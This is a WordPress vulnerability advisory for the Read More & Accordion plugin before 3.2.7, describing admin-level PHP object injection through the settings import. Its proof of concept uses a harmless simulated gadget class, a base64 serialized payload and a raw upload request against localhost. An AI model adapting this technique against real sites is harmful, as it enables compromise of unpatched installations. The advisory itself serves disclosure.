WordPress Plugin Vulnerabilities
Read More & Accordion < 3.2.7 - Admin+ PHP Object Injection
Description
The plugin unserializes user input provided via the settings, which could allow high-privilege users such as admin to perform PHP Object Injection when a suitable gadget is present.
Proof of Concept
To simulate a gadget chain, put the following code in a plugin: class Evil { public function __wakeup() : void { die("Arbitrary deserialization"); } } Then create a file named "base64_payload.txt" with the following content: `Tzo0OiJFdmlsIjowOnt9Ow==` And import the file via the "Import" feature in the "Add New" section of the plugin. Intercept and view the next ajax request made, which will have the "Arbitrary deserialization" message demonstrating the issue. ``` POST /wp/wp-admin/async-upload.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: */* Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/wp/wp-admin/admin.php?page=readMore Content-Type: multipart/form-data; boundary=---------------------------2212382545836040604482737484 Content-Length: 633 Origin: http://localhost Connection: close Cookie: [admin+] Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin -----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="name" base64_payload.txt -----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="action" upload-attachment -----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="_wpnonce" 16e174df64 -----------------------------2212382545836040604482737484 Content-Disposition: form-data; name="async-upload"; filename="base64_payload.txt" Content-Type: text/plain Tzo0OiJFdmlsIjowOnt9Ow== -----------------------------2212382545836040604482737484-- ```
Affects Plugins
References
CVE
Classification
Type
OBJECT INJECTION
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Do Xuan Trung
Submitter
Do Xuan Trung
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2023-09-11 (about 8 months ago)
Added
2023-09-11 (about 8 months ago)
Last Updated
2023-10-16 (about 6 months ago)